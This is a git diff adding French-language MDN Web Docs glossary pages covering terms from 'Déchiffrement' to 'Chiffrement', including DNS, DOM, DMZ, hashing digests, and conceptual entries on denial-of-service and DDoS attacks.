diff --git a/files/fr/glossary/decryption/index.html b/files/fr/glossary/decryption/index.html new file mode 100644 index 0000000000..8a66a43dc3 --- /dev/null +++ b/files/fr/glossary/decryption/index.html @@ -0,0 +1,25 @@ +--- +title: Déchiffrement +slug: Glossaire/Déchiffrement +tags: + - Confidentialité + - Cryptographie + - Glossaire + - Sécurité +translation_of: Glossary/Decryption +--- +

En {{glossary("Cryptography","cryptographie")}}, le déchiffrement est la conversion d'un {{glossary("ciphertext","cryptogramme")}} en {{glossary("cleartexte","texte brut")}}.

+ +

Le déchiffrement est une primitive cryptographique : il transforme un cryptogramme en texte brut via l'utilisation d'un algorithme cryptographique appelé {{glossary("cipher","chiffre")}}. À l'instar du chiffrement, le déchiffrement est effectué par l'utilisation d'un algorithme spécifique et d'un code secret appelé {{glossary("key","clé")}}. Comme l'algorithme est souvent public, la clé doit rester secrète si le chiffrement reste sécurisé.

+ +

 

+ +

The decryption primitive.

+ +

Le déchiffrement est l'inverse du {{glossary("encryption","chiffrement")}} et si la clé reste secrète, le déchiffrement sans connaître le code secret spécifique sera mathématiquement difficile à réaliser. Le degré de difficulté dépend de la sécurité de l'algorithme cryptographique choisi et évolue au fur et à mesure des progrès de la {{glossary("cryptanalysis","cryptanalyse")}}.

+ +

Pour approfondir

+ + diff --git a/files/fr/glossary/delta/index.html b/files/fr/glossary/delta/index.html new file mode 100644 index 0000000000..1493beb1b2 --- /dev/null +++ b/files/fr/glossary/delta/index.html @@ -0,0 +1,31 @@ +--- +title: Delta +slug: Glossaire/Delta +tags: + - Delta + - Glossaire + - Valeur + - difference +translation_of: Glossary/Delta +--- +

Le terme delta fait référence à la différence entre deux valeurs ou états. Le nom provient de la lettre grecque Δ (delta), qui équivaut à la lettre D dans l'alphabet romain. Delta se réfère simplement à l'utilisation de la lettre Δ comme raccourci pour la différence.

+ +

Le terme delta est couramment utilisé pour communiquer les changements de vitesse, de position ou d'accélération d'un objet physique ou virtuel. Il est également utilisé pour décrire les changements de volume ou de fréquence des ondes sonores.

+ +

Par exemple, pour décrire la distance parcourue par un objet à l'écran de gauche à droite, on peut utiliser le terme delta x ou Δx.

+ +

De même, étant donné la nouvelle valeur de X et son ancienne valeur, vous pouvez calculer le delta comme ceci:

+ +
let deltaX = newX - oldX;
+ +

Plus généralement, vous recevez le delta et l'utilisez pour mettre à jour une condition précédente enregistrée:

+ +
let newX = oldX + deltaX;
+ +

Apprendre plus

+ +

Référence technique

+ +
    +
  • Les événements de la molette de la souris ({{domxref("WheelEvent")}} offrent la quantité de déplacement de la roue depuis le dernier événement dans son {{domxref("WheelEvent.deltaX", "deltaX")}}, {{domxref("WheelEvent.deltaY", "deltaY")}}, et {{domxref("WheelEvent.deltaZ", "deltaZ")}}, par exemple.
    • +
diff --git a/files/fr/glossary/denial_of_service/index.html b/files/fr/glossary/denial_of_service/index.html new file mode 100644 index 0000000000..5378ca0c6a --- /dev/null +++ b/files/fr/glossary/denial_of_service/index.html @@ -0,0 +1,12 @@ +--- +title: Déni de Service +slug: Glossaire/Déni_de_Service +tags: + - Attaque + - Déni de Service + - Glossaire + - Intro + - Sécurité +translation_of: Glossary/Denial_of_Service +--- +

{{page("/fr/docs/Glossaire/Attaque_DOS")}}

diff --git a/files/fr/glossary/descriptor_(css)/index.html b/files/fr/glossary/descriptor_(css)/index.html new file mode 100644 index 0000000000..eea65e6d7e --- /dev/null +++ b/files/fr/glossary/descriptor_(css)/index.html @@ -0,0 +1,24 @@ +--- +title: Descripteur (CSS) +slug: Glossaire/Descripteur_(CSS) +tags: + - CSS + - Encodage + - Glossaire +translation_of: Glossary/Descriptor_(CSS) +--- +
+
+
+
+

Un descripteur CSS définit les caractéristiques des {{cssxref("at-rule","règles @")}}. Celles-ci autorisent les valeurs sous la forme de descripteurs. Chaque règle est composée d'un sélecteur et d'un descripteur. Le descripteur a :

+ +
    +
  • un nom
    • +
  • une valeur, qui contient les valeurs des composants
    • +
  • un étiquette "! important" qui, dans son état naturel, n'est pas définie
    • +
+
+
+
+
diff --git a/files/fr/glossary/deserialization/index.html b/files/fr/glossary/deserialization/index.html new file mode 100644 index 0000000000..5169d8bafe --- /dev/null +++ b/files/fr/glossary/deserialization/index.html @@ -0,0 +1,20 @@ +--- +title: Désérialisation +slug: Glossaire/Désérialisation +tags: + - Désérialisation + - Glossaire + - JavaScript +translation_of: Glossary/Deserialization +--- +

Le processus par lequel un format de niveau inférieur (par exemple, qui a été transféré sur un réseau ou stocké dans un magasin de données) est traduit en un objet lisible ou une autre structure de données.

+ +

En {{Glossary("JavaScript")}}, par exemple, vous pouvez désérialiser une  {{Glossary("string","chaîne de caractères")}} {{Glossary("JSON")}} vers un objet en appelant la {{Glossary("function","fonction")}} {{jsxref("JSON.parse()")}}.

+ +

En apprendre plus

+ +

Culture générale

+ + diff --git a/files/fr/glossary/developer_tools/index.html b/files/fr/glossary/developer_tools/index.html new file mode 100644 index 0000000000..de78c17a7e --- /dev/null +++ b/files/fr/glossary/developer_tools/index.html @@ -0,0 +1,31 @@ +--- +title: Outils de développement +slug: Glossaire/Developer_Tools +tags: + - Encodage + - Glossaire + - débogage + - outils de développement +translation_of: Glossary/Developer_Tools +--- +

Les outils de développement sont des programmes qui permettent à un développeur de créer, tester et {{Glossary("debug","déboguer")}} un logiciel.

+ +

Les navigateurs courants fournissent des outils de développement intégrés, qui permettent d'inspecter un site web. Ils permettent aux utilisateurs d'inspecter et de déboguer les pages {{Glossary("HTML")}}, {{Glossary("CSS")}} et {{Glossary("JavaScript")}}, de mesurer le trafic réseau qu'ils provoquent et les performances, et bien plus encore.

+ +

En apprendre plus

+ +

Culture générale

+ +
    +
  • {{interwiki("wikipedia","Environnement_de_développement","Environnement de développement")}} sur Wikipedia
    • +
+ +

Références techniques

+ + diff --git a/files/fr/glossary/dhtml/index.html b/files/fr/glossary/dhtml/index.html new file mode 100644 index 0000000000..5fd5d90fee --- /dev/null +++ b/files/fr/glossary/dhtml/index.html @@ -0,0 +1,22 @@ +--- +title: DHTML +slug: DHTML +tags: + - DHTML + - Encodage + - Glossaire + - HTML +translation_of: Glossary/DHTML +--- +
DHTML est une abréviation de « dynamic {{glossary("HTML")}})  » (HTML dynamique). Le terme DHTML fait généralement référence à des pages Web interactives qui ne sont pas animées par des plugins tels que {{Glossary("Adobe Flash","Flash")}} ou {{Glossary("Java")}}. Il combine les fonctionnalités des {{Glossary("HTML")}} , {{Glossary("CSS")}} , du {{Glossary("DOM")}} et {{Glossary("JavaScript")}}.
+ +

En apprendre plus

+ +

Culture générale

+ +

Categories {{interwiki("wikipedia","HTML_dynamique","DHTML")}} sur Wikipedia

+ +

 

+ +


+ Interwiki Language Link

diff --git a/files/fr/glossary/digest/index.html b/files/fr/glossary/digest/index.html new file mode 100644 index 0000000000..aa38f171cb --- /dev/null +++ b/files/fr/glossary/digest/index.html @@ -0,0 +1,30 @@ +--- +title: Condensé +slug: Glossaire/Condensat +tags: + - Confidentialité + - Cryptographie + - Glossaire + - Sécurité +translation_of: Glossary/Digest +--- +

Un condensé (digest) est une petite valeur générée par une {{glossary("hash","fonction de hachage")}} à partir d'un message complet. Dans l'idéal, un condensé est rapide à calculer, non réversible et imprédictible, et par conséquent indique si quelqu'un a falsifié un message donné.

+ +

Un condensé peut être utilisé pour effectuer plusieurs tâches :

+ +
    +
  • dans des applications non cryptographiques (par exemple, l'index de tables de hachage ou une empreinte servant soit à détecter des données dupliquées, soit à identifier des fichiers de manière unique)
    • +
  • vérifier l'intégrité d'un message (un message falsifié aura un haché différent)
    • +
  • enregistrer des mots de passe afin qu'ils ne puissent pas être récupérés, mais seulement vérifiés (pour faire cela de manière sécurisée, il faut aussi saler le mot de passe.)
    • +
  • générer des nombres pseudo-aléatoires
    • +
  • générer des {{glossary("Key","clés")}}
    • +
+ +

Il est primordial de choisir la fonction de hachage appropriée à votre cas concret pour éviter les collisions et la prévisibilité.

+ +

Pour approfondir

+ +
    +
  • Voir {{glossary("hash","fonction de hachage")}}
    • +
  • {{interwiki("wikipedia", "Fonction_de_hachage_cryptographique", "Fonction de hachage")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/digital_certificate/index.html b/files/fr/glossary/digital_certificate/index.html new file mode 100644 index 0000000000..836a2aece8 --- /dev/null +++ b/files/fr/glossary/digital_certificate/index.html @@ -0,0 +1,16 @@ +--- +title: Certificat numérique +slug: Glossaire/Certificat_numérique +tags: + - Cryptographie + - Glossaire + - Sécurité +translation_of: Glossary/Digital_certificate +--- +

Un certificat numérique est un fichier de données qui associe une {{Glossary("Key","clé cryptographique")}} publiquement connue à une organisation. Il contient des informations concernant celle-ci, telles que le nom usuel (par exemple mozilla.org), l'unité d'organisation (par exemple Mozilla Corporation) et sa situation géographique (par exemple Mountain View). Les certificats numériques sont le plus souvent signés par une {{Glossary("certificate authority","autorité de certification")}}, attestant leur authenticité.

+ +

Pour approfondir

+ +
    +
  • {{interwiki("wikipedia", "Public_key_certificate" ,"Certificat électronique")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/distributed_denial_of_service/index.html b/files/fr/glossary/distributed_denial_of_service/index.html new file mode 100644 index 0000000000..1434becf4c --- /dev/null +++ b/files/fr/glossary/distributed_denial_of_service/index.html @@ -0,0 +1,40 @@ +--- +title: Déni de service distribué +slug: Glossaire/Déni_de_service_distribué +tags: + - Attaques + - Déni de Service + - Glossaire + - Sécurité +translation_of: Glossary/Distributed_Denial_of_Service +--- +

Un déni de service distribué (DDoS, Distributed Denial-of-Service) est une attaque dans laquelle de nombreux systèmes sont compromis et réunis pour attaquer une seule cible, afin de submerger les ressources du serveur et de bloquer les utilisateurs légitimes.

+ +

Habituellement, de nombreuses personnes utilisant de nombreux robots, attaquent le Web à haut niveau : {{glossary("Server","serveurs")}} de banques ou cartes de crédit de paiement. DDoS concerne les réseaux informatiques et la gestion des ressources de l'unité centrale.

+ +

Dans une attaque DDoS classique, l'assaillant commence par exploiter une vulnérabilité dans un système informatique et en fait le maître DDoS. Le maître d'attaque, également connu sous le nom de botmaster (maître robot), identifie et infecte d'autres systèmes vulnérables avec des logiciels malveillants. Finalement, l'assaillant ordonne aux machines contrôlées de lancer une attaque contre une cible spécifiée.

+ +

Il existe deux types d'attaques DDoS : une attaque centrée sur le réseau (qui surcharge un service en utilisant la bande passante) et une attaque de la couche application (qui surcharge un service ou une base de données avec des appels d'application). Le débordement de données vers la cible entraîne une saturation dans la machine cible, de sorte qu'elle ne peut pas répondre ou répond très lentement au trafic légitime (d'où le nom de "déni de service"). Les propriétaires des ordinateurs infectés ne savent généralement pas que leurs ordinateurs ont été compromis et subissent également une perte de service.

+ +

Un ordinateur sous le contrôle d'un intrus est appelé un zombie ou un bot (robot). Un réseau d'ordinateurs co-infectés est connu comme un botnet (réseau de robots) ou une armée de zombies. Kaspersky Labs et Symantec ont identifié tous deux les botnets - pas le spam, les virus ou les vers - comme la plus grande menace à la sécurité sur Internet.

+ +

L'équipe de préparation aux urgences informatiques des États-Unis (US-CERT) définit les symptômes des attaques par déni de service en y rattachant :

+ +
    +
  • Performances réseau exceptionnellement lentes (ouverture de fichiers ou accès à des sites Web)
    • +
  • Indisponibilité d'un site web particulier
    • +
  • Impossibilité d'accéder à un site Web
    • +
  • Augmentation dramatique du nombre de spams reçus (ce type d'attaque DoS est considéré comme une bombe électronique)
    • +
  • Déconnexion d'une connexion Internet sans fil ou filaire
    • +
  • Refus à long terme de l'accès au web ou à des services internet.
    • +
+ +

En apprendre plus

+ +

Culture générale

+ +
    +
  • {{interwiki("wikipedia", "Attaque_par_déni_de_service", "Attaque par déni de service")}} sur Wikipedia
    • +
+ +

 

diff --git a/files/fr/glossary/dmz/index.html b/files/fr/glossary/dmz/index.html new file mode 100644 index 0000000000..8861a2ba61 --- /dev/null +++ b/files/fr/glossary/dmz/index.html @@ -0,0 +1,26 @@ +--- +title: DMZ +slug: Glossaire/DMZ +tags: + - Glossaire + - Réseau + - Sécurité +translation_of: Glossary/DMZ +--- +

Une DMZ est un moyen de fournir une interface isolée et sécurisée entre un réseau interne (d'entreprise ou privé) et le monde extérieur non fiable, généralement l'Internet. Elle expose uniquement certains points de terminaison définis, tout en refusant l'accès au réseau interne aux {{Glossary('node/networking','noeuds externes')}}.

+ +

En apprendre plus

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia","Zone_démilitarisée_(informatique)","Zone démilitarisée (informatique)")}} sur Wikipedia
    • +
+ +

Apprendre à ce propos

+ + diff --git a/files/fr/glossary/dns/index.html b/files/fr/glossary/dns/index.html new file mode 100644 index 0000000000..99897c1af2 --- /dev/null +++ b/files/fr/glossary/dns/index.html @@ -0,0 +1,20 @@ +--- +title: DNS +slug: Glossaire/DNS +tags: + - DNS + - Glossaire + - Infrastructure + - Nom de domaine +translation_of: Glossary/DNS +--- +

DNS (domain name system) transforme les noms de domaines en adresses IP nécessaires à la mise en relation avec un service sur Internet ou un réseau privé.

+ +

Pour en savoir plus

+ +

Connaissances générales

+ + diff --git a/files/fr/glossary/doctype/index.html b/files/fr/glossary/doctype/index.html new file mode 100644 index 0000000000..738e1e1748 --- /dev/null +++ b/files/fr/glossary/doctype/index.html @@ -0,0 +1,26 @@ +--- +title: Doctype +slug: Glossaire/Doctype +tags: + - DOCTYPE + - Encodage + - Glossaire + - HTML + - Introduction + - Navigateur +translation_of: Glossary/Doctype +--- +

En {{Glossary("HTML")}}, le doctype est le préambule "<! DOCTYPE html>" requis en haut de tous les documents. Son seul but est d'empêcher un {{Glossary("Browser","navigateur")}} de passer en soi-disant “quirks mode” lors du rendu d'un document ;  c'est-à-dire que le doctype "<!DOCTYPE html>" garantit que le navigateur fait de son mieux pour suivre les spécifications pertinentes, plutôt que d'utiliser un mode de rendu différent incompatible avec certaines spécifications.

+ +

En apprendre plus

+ +

Culture générale

+ + + +

Référence technique

+ +

Document.doctype, une méthode JavaScript qui retourne le doctype

diff --git a/files/fr/glossary/document_directive/index.html b/files/fr/glossary/document_directive/index.html new file mode 100644 index 0000000000..d1950f7901 --- /dev/null +++ b/files/fr/glossary/document_directive/index.html @@ -0,0 +1,36 @@ +--- +title: Directive de document +slug: Glossaire/Document_directive +tags: + - CSP + - Glossaire + - Sécurité +translation_of: Glossary/Document_directive +--- +

Les directives de document {{Glossary("CSP")}} sont utilisées dans un en-tête de {{HTTPHeader("Content-Security-Policy","politique de sécurité de contenu")}} et régissent les propriétés d'un document ou l'environnement des  "worker"  auxquels la politique s'applique.

+ +

Les directives du document ne reviennent pas à la directive {{CSP("default-src")}}.

+ +

Ces directives CSP sont des directives de document :

+ +
    +
  • {{CSP("base-uri")}}
    • +
  • {{CSP("plugin-types")}}
    • +
  • {{CSP("sandbox")}}
    • +
  • {{CSP("disown-opener")}}
    • +
+ +

En apprendre en plus

+ +

Informations Techniques

+ +
    +
  • {{HTTPHeader("Politique de sécurité de contenu")}}
    • +
  • Autres types de directives : +
      +
    • {{Glossary("Fetch directive","Directive de récupération")}}
      • +
    • {{Glossary("Navigation directive","Directive de navigation")}}
      • +
    • {{Glossary("Reporting directive","Directive de rapport")}}
      • +
    +
    • +
diff --git a/files/fr/glossary/document_environment/index.html b/files/fr/glossary/document_environment/index.html new file mode 100644 index 0000000000..41dced204e --- /dev/null +++ b/files/fr/glossary/document_environment/index.html @@ -0,0 +1,19 @@ +--- +title: Environnement de document +slug: Glossaire/Environnement_de_document +tags: + - Document + - Environnement + - Glossaire + - JavaScript +translation_of: Glossary/document_environment +--- +

Lorsque l'environnement global JavaScript est une fenêtre ou un cadre iframe, il s'appelle un environnement de document. Un environnement global est un environnement qui n'a pas d'environnement extérieur.

+ +

En apprendre plus

+ +

Référence technique

+ + diff --git a/files/fr/glossary/dom/index.html b/files/fr/glossary/dom/index.html new file mode 100644 index 0000000000..d0438a2de1 --- /dev/null +++ b/files/fr/glossary/dom/index.html @@ -0,0 +1,29 @@ +--- +title: DOM +slug: Glossaire/DOM +tags: + - DOM + - Encodage + - Glossaire +translation_of: Glossary/DOM +--- +

Le DOM (Document Object Model) est une {{glossary("API")}} qui réprésente et interagit avec tous types de documents {{glossary("HTML")}} ou {{glossary("XML")}}. Le DOM est un modèle de document chargé dans le {{glossary("Browser","navigateur")}}. La représentation du document est un arbre nodal. Chaque nœud représente une partie du document (par exemple, un {{Glossary("Element","élément")}}, une chaîne de caractères ou un commentaire).

+ +

Le DOM est l'une des {{Glossary("API")}} les plus utilisées sur le {{glossary("World Wide Web","Web")}} parce-qu'il autorise du code exécuté dans un navigateur à accéder et interagir avec chaque nœud dans le document. Les nœuds peuvent être créés, déplacés et modifiés. Des auditeurs d'évènements (event listeners) peuvent être ajoutés à des nœuds et déclenchés par un évènement donné.

+ +

À l'origine, DOM n'était pas standardisé. Il ne l'a été que lorsque les navigateurs ont commencé à implémenter {{Glossary("JavaScript")}}. Le DOM qui découle de cette période initiale est parfois appelé DOM 0. À l'heure actuelle, le W3C édicte les spécifications de la norme DOM

+ +

En apprendre plus

+ +

Culture générale

+ +
    +
  • {{interwiki("wikipedia", "Document_Object_Model", "Le DOM")}} sur Wikipédia
    • +
+ +

Informations Techniques

+ + diff --git a/files/fr/glossary/domain/index.html b/files/fr/glossary/domain/index.html new file mode 100644 index 0000000000..c629c4de95 --- /dev/null +++ b/files/fr/glossary/domain/index.html @@ -0,0 +1,17 @@ +--- +title: Domaine +slug: Glossaire/Domaine +tags: + - Domaine + - Infrastructure + - Navigateur + - Réseau +translation_of: Glossary/Domain +--- +

Un domaine fait partie d'un réseau informatique au sein duquel une entité contrôle les ressources de traitement de l'information, par exemple un site web.

+ +

Pour approfondir

+ +
    +
  • {{interwiki("wikipedia","Domaine")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/domain_name/index.html b/files/fr/glossary/domain_name/index.html new file mode 100644 index 0000000000..1f78cfbd27 --- /dev/null +++ b/files/fr/glossary/domain_name/index.html @@ -0,0 +1,20 @@ +--- +title: Nom de domaine +slug: Glossaire/Nom_de_domaine +tags: + - Glossaire + - Nom de domaine + - WebMechanics + - protocole +translation_of: Glossary/Domain_name +--- +

Un nom de domaine est l'adresse d'un site web sur l'{{Glossary("Internet")}}. Les noms de domaine sont utilisés dans les {{Glossary("URL","URLs")}} pour identifier le serveur qui héberge une page web particulière. Le nom de domaine consiste en séquence hiérarchique de noms (labels) séparés par des points et terminée par une {{glossary("TLD","extension")}}.

+ +

Pour en savoir plus

+ +

Culture générale

+ + diff --git a/files/fr/glossary/dominator/index.html b/files/fr/glossary/dominator/index.html new file mode 100644 index 0000000000..77ce7eab6f --- /dev/null +++ b/files/fr/glossary/dominator/index.html @@ -0,0 +1,27 @@ +--- +title: Dominant +slug: Glossaire/Dominant +tags: + - Encodage + - Glossaire +translation_of: Glossary/Dominator +--- +

En théorie des graphes, le nœud A domine le nœud B si tous les chemins du nœud racine vers B passent par A.

+ +

Ce concept est important pour le "{{Glossary("garbage collection","ramasse-miettes")}}" (ou récupérateur de mémoire) car cela signifie que B n'est accessible que par A. Ainsi, si le ramasse-miettes trouve A inaccessible et éligible à la récupération, alors B sera également inaccessible et éligible à la récupération. Donc, les objets que A domine contribuent à la taille retenue de A : c'est-à-dire la quantité totale de mémoire qui pourrait être libérée si A lui-même était libéré.

+ +

En apprendre plus

+ +

Culture générale

+ +
    +
  • {{interwiki("wikipedia","Ensemble_dominant","Ensemble dominant")}} sur Wikipedia
    • +
+ +

Références techniques

+ + diff --git a/files/fr/glossary/dos_attack/index.html b/files/fr/glossary/dos_attack/index.html new file mode 100644 index 0000000000..0b4e057c27 --- /dev/null +++ b/files/fr/glossary/dos_attack/index.html @@ -0,0 +1,33 @@ +--- +title: Attaque DoS +slug: Glossaire/Attaque_DOS +tags: + - Glossaire + - Sécurité +translation_of: Glossary/DOS_attack +--- +

Le déni de service ou DoS (Denial of Service) est une attaque réseau qui empêche l'utilisation légitime des ressources d'un {{glossary("serveur")}} en surchargeant celui-ci de requêtes.

+ +

Les ordinateurs disposent de ressources limitées, puissance de calcul ou mémoire par exemple. Lorsqu'elles atteignent leurs limites, le programme peut se bloquer ou planter, ce qui le rend indisponible. Une attaque DoS consiste en diverses techniques pour saturer ces ressources et faire en sorte qu'un serveur ou un réseau ne soit plus disponible pour ses utilisateurs légitimes, ou au moins pour faire fonctionner le serveur plus lentement.

+ +

Types d'attaques DoS

+ +

Les attaques DoS sont plus une catégorie d'attaques qu'un type particulier d'attaque. Voici une liste non exhaustive de types d'attaques DoS :

+ +
    +
  • attaque sur la bande passante
    • +
  • saturation par des requêtes sur des services
    • +
  • attaque SYN flooding
    • +
  • attaque ICMP flood
    • +
  • attaque pair-à-pair
    • +
  • attaque DoS permanente
    • +
  • attaque par saturation au niveau application
    • +
+ +

Pour approfondir

+ +
    +
  • {{interwiki("wikipedia", "Attaque par déni de service", "Attaque par déni de service")}} sur Wikipédia
    • +
  • Déni de service sur OWASP
    • +
  • {{Glossary("Distributed Denial of Service","DDoS")}}
    • +
diff --git a/files/fr/glossary/dtmf/index.html b/files/fr/glossary/dtmf/index.html new file mode 100644 index 0000000000..85dc058491 --- /dev/null +++ b/files/fr/glossary/dtmf/index.html @@ -0,0 +1,20 @@ +--- +title: DTMF (Signalisation Dual-Tone Multi-Frequency) +slug: Glossaire/DTMF +tags: + - Audio + - DTMF + - Glossaire +translation_of: Glossary/DTMF +--- +

La signalisation DTMF (Dual-Tone Multi-Frequency) est un système par lequel des tonalités audibles sont utilisées pour représenter les boutons sur un clavier. Souvent appelé aux Etats-Unis "Touch-Tone" (après la marque Touch-Tone utilisée lors du passage de la numérotation par impulsions au DTMF), DTMF permet de signaler les chiffres 0-9 ainsi que les lettres "A" à "D" et les symboles "#" et "*". Peu de claviers téléphoniques comprennent les lettres, qui sont généralement utilisées pour la signalisation de contrôle par le réseau téléphonique.

+ +

Les ordinateurs peuvent utiliser DTMF lors de la numérotation d'un modem ou lors de l'envoi de commandes à un système de menu pour une téléconférence ou à d'autres fins.

+ +

En apprendre plusEdit

+ +

Culture générale

+ +
    +
  • {{interwiki("wikipedia","Code_DTMF","Code DTMF")}} sur Wikipedia
    • +
diff --git a/files/fr/glossary/dynamic_programming_language/index.html b/files/fr/glossary/dynamic_programming_language/index.html new file mode 100644 index 0000000000..58c5c5d185 --- /dev/null +++ b/files/fr/glossary/dynamic_programming_language/index.html @@ -0,0 +1,21 @@ +--- +title: Langage de programmation dynamique +slug: Glossaire/Langage_de_programmation_dynamique +tags: + - Encodage + - Glossaire + - Langages + - Programmation +translation_of: Glossary/Dynamic_programming_language +--- +

Un langage de programmation dynamique est un langage de programmation dans lequel les opérations effectuées au moment de la compilation peuvent être réalisées au moment de l'exécution. Par exemple, en JavaScript, il est possible de modifier le type d'une variable ou d'ajouter de nouvelles propriétés ou méthodes à un objet pendant l'exécution du programme.

+ +

Ceci est opposé aux langages de programmation dits statiques, dans lesquels de tels changements ne sont normalement pas possibles.

+ +

En apprendre plus

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia","Langage_de_programmation_dynamique","Langage de programmation dynamique")}} sur Wikipedia
    • +
diff --git a/files/fr/glossary/dynamic_typing/index.html b/files/fr/glossary/dynamic_typing/index.html new file mode 100644 index 0000000000..e623406f41 --- /dev/null +++ b/files/fr/glossary/dynamic_typing/index.html @@ -0,0 +1,25 @@ +--- +title: Typage dynamique +slug: Glossaire/typage_dynamique +tags: + - Encodage + - Glossaire + - Langage + - Programmation +translation_of: Glossary/Dynamic_typing +--- +

Les langages à typage dynamique sont ceux (comme {{glossary("JavaScript")}}) dont l'interpréteur attribue aux {{glossary("variable","variables")}} un {{glossary("type")}} lors de l'exécution en fonction de la {{glossary("Value","valeur")}} qu'elles possèdent à ce moment.

+ +

Pour en savoir plus

+ +

Apprendre sur ce sujet

+ + + +

Culture générale

+ +
    +
  • {{interwiki("wikipedia", "Type_(informatique)#Typage_statique_et_typage_dynamique", "Type (informatique)")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/ecma/index.html b/files/fr/glossary/ecma/index.html new file mode 100644 index 0000000000..67601b4a7d --- /dev/null +++ b/files/fr/glossary/ecma/index.html @@ -0,0 +1,19 @@ +--- +title: ECMA +slug: Glossaire/ECMA +tags: + - Glossaire + - JavaScript + - Mécanismes web +translation_of: Glossary/ECMA +--- +

Ecma International (European Computer Manufacturers Association) est une organisation à but non lucratif qui développe des standards sur le matériel informatique, les communications, et les langages de programmation.

+ +

Sur internet, Ecma est célèbre pour être l'organisation qui maintient la spécification ECMA-262 (alias. {{Glossary("ECMAScript")}}) qui est le cœur de la spécification pour le langage {{Glossary("JavaScript")}}.

+ +

En savoir plus

+ + diff --git a/files/fr/glossary/ecmascript/index.html b/files/fr/glossary/ecmascript/index.html new file mode 100644 index 0000000000..15b1b4b872 --- /dev/null +++ b/files/fr/glossary/ecmascript/index.html @@ -0,0 +1,23 @@ +--- +title: ECMAScript +slug: Glossaire/ECMAScript +tags: + - Glossaire + - WebMechanics +translation_of: Glossary/ECMAScript +--- +

ECMAScript est le langage de script sur lequel {{glossary("JavaScript")}} est basé. Ecma International a pour tâche la standardisation d'ECMAScript.

+ +

Pour en savoir plus

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "ECMAScript")}} sur Wikipédia
    • +
+ +

Référence technique

+ + diff --git a/files/fr/glossary/element/index.html b/files/fr/glossary/element/index.html new file mode 100644 index 0000000000..4d196f600e --- /dev/null +++ b/files/fr/glossary/element/index.html @@ -0,0 +1,20 @@ +--- +title: Élément +slug: Glossaire/Élément +tags: + - Glossaire + - HTML +translation_of: Glossary/Element +--- +

Un élément est une partie d'une page web. En {{glossary("XML")}} et {{glossary("HTML")}}, un élément peut contenir une donnée, un morceau de texte ou une image, ou même parfois ne rien contenir du tout. Un élément est typiquement constitué d'une balise ouvrante ayant quelques attributs, du contenu textuel et d'une balise fermante.
+ Example: in <p class="nice">Hello world!</p>, '<p class="nice">' is an opening tag, 'class="nice"' is an attribute and its value, 'Hello world!' is enclosed text content, and '</p>' is a closing tag.

+ +

Les éléments et les balises ne sont pas la même chose. Les balises commencent ou clôturent un élément dans le code source, alors que les éléments font partie du {{glossary("DOM")}}, le document qui sert de modèle pour afficher la page dans le {{glossary("browser","navigateur")}}.

+ +

En savoir plus

+ + diff --git a/files/fr/glossary/empty_element/index.html b/files/fr/glossary/empty_element/index.html new file mode 100644 index 0000000000..1aa6427ae2 --- /dev/null +++ b/files/fr/glossary/empty_element/index.html @@ -0,0 +1,34 @@ +--- +title: Élément vide +slug: Glossaire/Element_vide +tags: + - Encodage + - Glossaire + - Intermédiaire +translation_of: Glossary/Empty_element +--- +

Un élément vide (empty element en anglais) est un {{Glossary("Element","élément")}} HTML, SVG, ou MathML qui ne peut pas avoir de nœud enfant (que ce soit un autre élément ou du texte).

+ +

Les spécifications HTML, SVG et MathML (en anglais) définissent de manière précise quels éléments peuvent contenir quels autres. De nombreuses combinaisons n'ont aucun sens sémantique ; c'est le cas par exemple d'un élément {{HTMLElement("audio")}} imbriqué dans un élément {{HTMLElement("hr")}}.

+ +

Les éléments vides en HTML sont les suivants :

+ +
    +
  • {{HTMLElement("area")}}
    • +
  • {{HTMLElement("base")}}
    • +
  • {{HTMLElement("br")}}
    • +
  • {{HTMLElement("col")}}
    • +
  • {{HTMLElement("embed")}}
    • +
  • {{HTMLElement("hr")}}
    • +
  • {{HTMLElement("img")}}
    • +
  • {{HTMLElement("input")}}
    • +
  • {{HTMLElement("keygen")}} (HTML 5.2 brouillon supprimé)
    • +
  • {{HTMLElement("link")}}
    • +
  • {{HTMLElement("meta")}}
    • +
  • {{HTMLElement("param")}}
    • +
  • {{HTMLElement("source")}}
    • +
  • {{HTMLElement("track")}}
    • +
  • {{HTMLElement("wbr")}}
    • +
+ +

 

diff --git a/files/fr/glossary/encapsulation/index.html b/files/fr/glossary/encapsulation/index.html new file mode 100644 index 0000000000..629bf76d1e --- /dev/null +++ b/files/fr/glossary/encapsulation/index.html @@ -0,0 +1,17 @@ +--- +title: Encapsulation +slug: Glossaire/Encapsulation +tags: + - Encodage + - Glossaire +translation_of: Glossary/Encapsulation +--- +

L'encapsulation consiste à inclure des données et des {{glossary("Function","fonctions")}} dans un composant (par exemple une {{glossary("Class","classe")}}) et ensuite de contrôler l'accès à celui-ci pour réaliser une "boîte noire" hors de l'{{glossary("Object","objet")}}. De cette façon, un utilisateur de cette classe n'aurait besoin de connaître que son interface (autrement dit, les données et les fonctions exposées en dehors de la classe), et pas son implémentation qui reste donc cachée.

+ +

Pour approfondir

+ +

Culture générale

+ + diff --git a/files/fr/glossary/encryption/index.html b/files/fr/glossary/encryption/index.html new file mode 100644 index 0000000000..56490019c7 --- /dev/null +++ b/files/fr/glossary/encryption/index.html @@ -0,0 +1,23 @@ +--- +title: Chiffrement +slug: Glossaire/Chiffrement +tags: + - Confidentialité + - Cryptographie + - Glossaire + - Sécurité +translation_of: Glossary/Encryption +--- +

En {{glossary("cryptography","cryptographie")}}, le chiffrement est la conversion d'un {{glossary("Texte_brut","texte brut")}} en un texte codé ou {{glossary("ciphertext","cryptogramme")}}. Ce dernier est destiné à ne pas pouvoir être lu par les lecteurs qui n'y sont pas autorisés.

+ +

Le chiffrement est une primitive cryptographique : il transforme un message de texte brut en un cryptogramme via l'utilisation d'un algorithme cryptographique appelé {{glossary("cipher","cryptosystème")}}. Avec les cryptosystèmes modernes, le chiffrement est effectué par l'utilisation d'un algorithme spécifique et d'un code secret appelé {{glossary("Key","clé")}}. Comme l'algorithme est souvent public, la clé doit rester secrète si le chiffrement reste sécurisé.

+ +

How encryption works.

+ +

